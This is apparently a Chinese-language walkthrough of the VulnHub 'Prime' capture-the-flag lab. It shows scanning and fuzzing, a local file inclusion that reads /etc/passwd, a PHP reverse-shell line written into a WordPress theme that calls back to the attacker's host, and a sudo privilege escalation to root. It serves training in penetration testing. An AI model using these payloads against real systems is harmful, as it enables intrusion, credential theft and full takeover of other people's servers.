prime靶场

靶场考察知识

Wordpress

WordPress是一个免费的开源内容管理系统(CMS),可以用来创建和管理网站或博客。它是由PHP语言和MySQL数据库构建的,并且拥有大量的插件和主题,可以让您轻松地自定义网站的外观和功能

Wpscan扫描工具

WPScan是一款开源的WordPress安全扫描工具,常用于渗透测试WordPress网站。它运行在Kali Linux操作系统上,也可以在其他类Unix系统(如MacOS和Linux)上使用。

WPScan可以帮助您扫描WordPress网站以寻找漏洞,并尝试利用这些漏洞获得对目标网站的访问权限。它还可以帮助您识别目标网站使用的WordPress版本、插件和主题,并检测是否存在已知的漏洞, 下面是WPScan的一些常用操作:

1.扫描WordPress网站,列出发现的漏洞和配置问题

wpscan --url <target_url>

2.枚举WordPress网站的用户

wpscan --url <target_url> --enumerate u

3.列出WordPress网站所有安装的插件, 并检查是否存在可利用的漏洞

wpscan --url <target_url> --enumerate p

4.列出WordPress网站使用的所有主题, 并检查是否存在可利用的漏洞

wpscan --url <target_url> --enumerate t

Openssl加解密

Openssl是一个用于实现各种加密和安全协议的开源工具。可以使用openssl enc命令来加密文件,并使用openssl enc -d命令来解密加密文件

靶场搭建

prime靶场下载地址: https://download.vulnhub.com/prime/Prime_Series_Level-1.rar

渗透步骤

信息收集

1.namp扫描

扫描C段存活主机nmap -sn 192.168.47.0/24, 确定prime靶场主机为192.168.47.158

扫描开放端口, 只有22和80端口处于开放状态

2.dirb目录爆破

使用dirb对目标主机80端口进行爆破, 并将结果保存在当前文件夹的DirbReport.txt, 扫描结果如下图所示

dirb http://192.168.47.158 -o DirbReport.txt

访问目标网站的根目录, 只发现了一张kali图标图片, 没有其他线索

访问/dev目录, 页面提示意思, "你爆破的不够狠, 还需继续往深一点爆破", 也就是说它要求我们继续使用Dirb爆破, 从而获取更多信息

调整一下Dirb的使用参数, 爆破后缀名为txt和zip的文件(往往提示信息都是以文本文件为主), 扫描结果显示, 存在secret.txt文件

dirb http://192.168.47.158 -X .txt,.zip 

访问http://192.168.47.158/secret.txt, 页面显示一段话, 简单来说就是要我们对找到的每个php页面进行参数爆破, 并给予文章提供参考(https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web), 最后一段话还提示我们要获取了location.txt文件才能进行下一步的操作

根据上面的提示, 使用dirb对php页面进行爆破, 爆出image.phpindex.php

dirb http://192.168.47.158 -X .php

3.wfuzz参数爆破

读取这篇github文章, 要求我们要用wfuzz命令来对php页面进行参数爆破, 还给了一行命令来演示: wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://website.com/secret.php?FUZZ=something

--hc 404表示不显示状态码为404的页面

使用如下命令对index.php的参数进行爆破, 从爆破结果来看, 出现了很多无效信息, 我们可以通过--hc--hw, --hh来过滤信息

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.47.158/index.php?FUZZ=something

使用--hh参数排除页面响应长度为136的数据, 最终只显示一个参数结果: file

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.47.158/index.php?FUZZ=something

综合上述secret.txt中的最后一段话:"注意location.txt这个文件, 后续的操作你需要用到它", 或许这个file参数的值可以修改为location.txt

curl http://192.168.47.158/index.php?file=location.txt

从页面显示内容上看, 它要求你在其他php页面使用"secrettier360"参数, 也就是说要在image.php使用secrettier360参数

访问image.php页面并配合secrettier360参数, 页面显示"最终你找到了正确的参数"

curl http://192.168.47.158/image.php?secrettier360

Web渗透

1.文件包含漏洞

既然上述的提示说了secrettier360这个参数是正确的, 那么可以尝试下本地文件包含漏洞, 读取系统用户信息

成功读取到了用户信息,并且在最后面的saket用户给予了我们重要信息: 在/home/saket目录下寻找password.txt文件

curl http://192.168.47.158/image.php?secrettier360=../../../../../../etc/passwd

读取/home/saket/password.txt, 它给出的密码是follow_the_ippsec, 虽然我们不知道这个密码是用来干什么的, 但是我猜可能会是SSH远程登录或者网站管理员登录其中一个

先来尝试ssh远程登录, 在上述爆出的用户信息中, 可能登录成功的用户有两个, 分别是victorsaket, 经过ssh登录尝试后, 均登录失败

2.wordpress后台拿shell

从上述dirb爆破结果可知, 该网站是一个wordpress框架, 于是我们可以从该cms漏洞入手

使用wpscan针对wordpress框架的网站进行特定漏洞扫描, 如下命令用于枚举网站用户

wpscan --url http://192.168.47.158/wordpress -e u

结果显示只有一个victor用户, 在上述读取的用户信息中, 也有一个victor用户, 那么此用户很可能是管理员用户

在上述的dirb爆破结果中, 已经爆出后台管理员页面, 当然凭借经验我们也可以大概清楚后台页面地址, 浏览器访问http://192.168.47.158/wordpress/wp-admin/user/admin.php, 然后尝试使用victor/follow_the_ippsec登录, 很幸运, 登录成功了

找到插件功能处, 首先尝试插件上传功能, 判断是否存在文件上传漏洞

这里要求我们上传zip格式的文件, 随便上传一个压缩文件, 然后点击install Now上传

文件上传失败, 提示父级目录没有写的权限

既然文件上传不行, 那么就从主题编辑入手, 依次排查所有主题文件, 寻找能够编辑(拥有写的权限)的页面, 最终发现secret.php可以编辑

在secret.php插入反弹Shell代码: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.47.155/4444 0>&1'");?>

我们可以通过搭建wordpress框架的网站来获取主题文件的网页路径, 这里secret.php的路径是http://192.168.47.158/wordpress/wp-content/themes/twentynineteen/secret.php

在kali开启监听, 然后访问secret.php触发反弹shell

主机提权

1.查看权限

输入sudo -l查看系统权限, 发现当前用户可以使用root权限, 而无需输入root用户密码执行/home/saket/enc

进入/home/saket目录, 当前目录下有password.txt和user.txt, 但是无法查看enc文件, 因为权限不足, 但是拥有执行的权限

\

执行enc文件, 随后要求输入当前用户的密码, 尝试输入password.txt里面的密码, 提示文件执行失败, 说明这个密码是错误的,我们还需要在此系统下深挖正确的密码

\

2.搜索密码备份文件

执行如下命令, 寻找系统的所有备份文件, 因为有时候管理员会在系统留有密码备份文件

find / -name '*backup*' 2>/dev/null  | less| sort
  • find / -name '*backup*':这个命令在根目录(即 /)中搜索文件。-name 选项指定了搜索的文件名模式,在这里是 '*backup*'。这个模式表示任何文件名包含字符串 "backup" 的文件。find 命令会返回所有符合条件的文件的路径。

  • 2>/dev/null: /dev/null 是一个特殊的文件,它的作用是丢弃所有写入它的数据。即将错误输出重定向到 /dev/null 就相当于丢弃所有错误信息(例如权限不足),只保留正常输出

  • | less:管道符(|)将前一个命令的输出传递给后一个命令。在这里,less 命令是一个文本浏览器,它可以让你在终端中浏览文本文件。将 find 的输出传递给 less 可以让你在终端中更方便地查看找到的文件的路径。

  • sort:这个命令对前一个命令的输出进行排序。在这里,它将找到的文件的路径按字母顺序排序。

从上述结果来看, 此系统存在很多备份文件, 而我们要寻找的是文件名带有user或者pass这种比较可疑的, 例如/opt/backup/server_database/backup_pass

查看/opt/backup/server_database/backup_pass, 文件提示: enc文件密码为"backup_password"

\

3.openssl解密

使用sudo执行enc, 并输入密码backup_password, 随后在当前文件夹生成enc.txt和key.txt

\

首先查看enc.txt, 文件内容是一段base64加密的字符串

\

查看key.txt, 文件内容提示, 需要对"ippsec"字符串进行md5加密

\

对"ippsec"字符串进行md5加密: echo -n "ippsec" | md5sum, 加密后的字符串为366a74cb3c959de17d61db30591c39d1

echo -n 表示 echo 命令不要输出换行符。这样,输出的字符串就不会换行,而是和 md5sum 的输出在同一行

\

在ctf靶场中看到enc和key这两个关键字, 第一时间就该想到openssl加解密, 也就是说要使用openssl命令, 通过key值去解密enc文件的加密字符串

首先查看openssl命令中支持哪些算法: openssl --help

\

将openssl中支持的加密算法名称保存在CryptType文件中

\

如下代码为openssl常用解密命令, "-d"参数表示解密,"-a"参数表示使用base64编码,"-K"参数表示使用的密钥(需为16进制), enc是OpenSSL的编码和加密的缩写,它是OpenSSL提供的一个命令行工具,用于加密和解密文件和信息

echo '{要解密的字符串}' | openssl enc -d -a -{解密算法} -K {key值}

\

首先要将key值"366a74cb3c959de17d61db30591c39d1"进行16进制编码, 可使用如下od命令

echo -n "366a74cb3c959de17d61db30591c39d1" | od -An -t x1
  • -An 表示不要输出地址信息。

  • -t x1 表示使用 16 进制编码输出每个字符

\

为了让结果看起来更加清晰, 可以使用tr命令删除结果里的空格和换行符, 最终16进制编码的结果是3336366137346362336339353964653137643631646233303539316333396431

echo -n "366a74cb3c959de17d61db30591c39d1" | od -An -t x1 | tr -d ' '

\

可以使用Shell代码批量使用openssl命令对字符串尝试各种算法进行解密, 最终的执行结果提示, saket用户的密码为"tribute_to_ippsec"

for i in $(cat CryptType);do echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$i -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null echo $i;done

具体来说,这段代码会对CryptType文件中的每一行读取一个算法名称,然后使用openssl命令对字符串进行解密,其中使用的算法名称就是从CryptType文件中读取的。最后将解密结果和解密算法输出

\

4.获取flag

ssh远程登录saket用户, 并输入解密出来的密码

\

为了获取一个交互性更好的shell, 可使用python命令: python -c 'import pty;pty.spawn("/bin/bash")'

\

查看当前用户的权限, 发现可以使用root权限无密码执行/home/victor/undefeated_victor

\

执行此文件时提示没有/tmp/challenge, 它可能暗示我们去创建一个

\

在tmp目录下创建challenge文件, 并写入如下内容

#!/bin/bash
/bin/bash

\

赋予challenge可执行权限, 随后执行/home/victor/undefeated_victor, 成功获取root权限

\

获取flag.txt

最后更新于